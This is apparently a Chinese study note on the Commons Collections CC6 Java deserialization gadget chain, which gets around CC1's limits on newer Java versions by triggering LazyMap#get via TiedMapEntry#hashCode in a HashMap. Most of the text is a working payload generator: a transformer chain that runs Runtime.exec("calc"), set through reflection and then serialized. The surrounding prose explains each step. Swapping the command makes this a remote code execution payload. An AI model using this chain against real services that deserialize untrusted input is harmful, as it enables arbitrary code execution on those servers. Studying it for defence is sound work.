解决高版本下CC1无法使用的问题.
改变了触发LazyMap#get的方式, TiedMapEntry的getValue方法会调用this.map的get方法, 而TiedMapEntry#hashcode又会调用TiedMapEntry#getValue. 调用一个对象hashCode的方法非常简单,把它放到HashMap里即可.
package test.com.cc;
public class cc6_simple {
public static byte[] payload() throws NoSuchMethodException, NoSuchFieldException, IllegalAccessException, IOException {
// Runtime obj = (Runtime)Runtime.class.getMethod("getRuntime").invoke(Runtime.class);
// obj.exec("calc");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
new Object[]{ null, null }),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); // iTransformers
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map,transformerChain);
// LazyMap在调用get方法的时候会触发transformer.transform
TiedMapEntry tMap = new TiedMapEntry(lazyMap,"keykey");
// TiedMapEntry的hashcode会调用getValue方法,getValue方法中会调用this.map.get方法.
// lazyMap.remove("keykey");
Map expMap = new HashMap();
expMap.put(tMap, "valuevalue");
// 要使得Key不存在.调用get方法时才能触发transform方法.
// 这一步有点迷.
lazyMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain,transformers);
return Serializer.Serialize(expMap);
}
}
LazyMap#get(key) 需要key不存在才会触发transform, 这里做了处理, remove了keykey.
多层Map的键值对去除有点迷.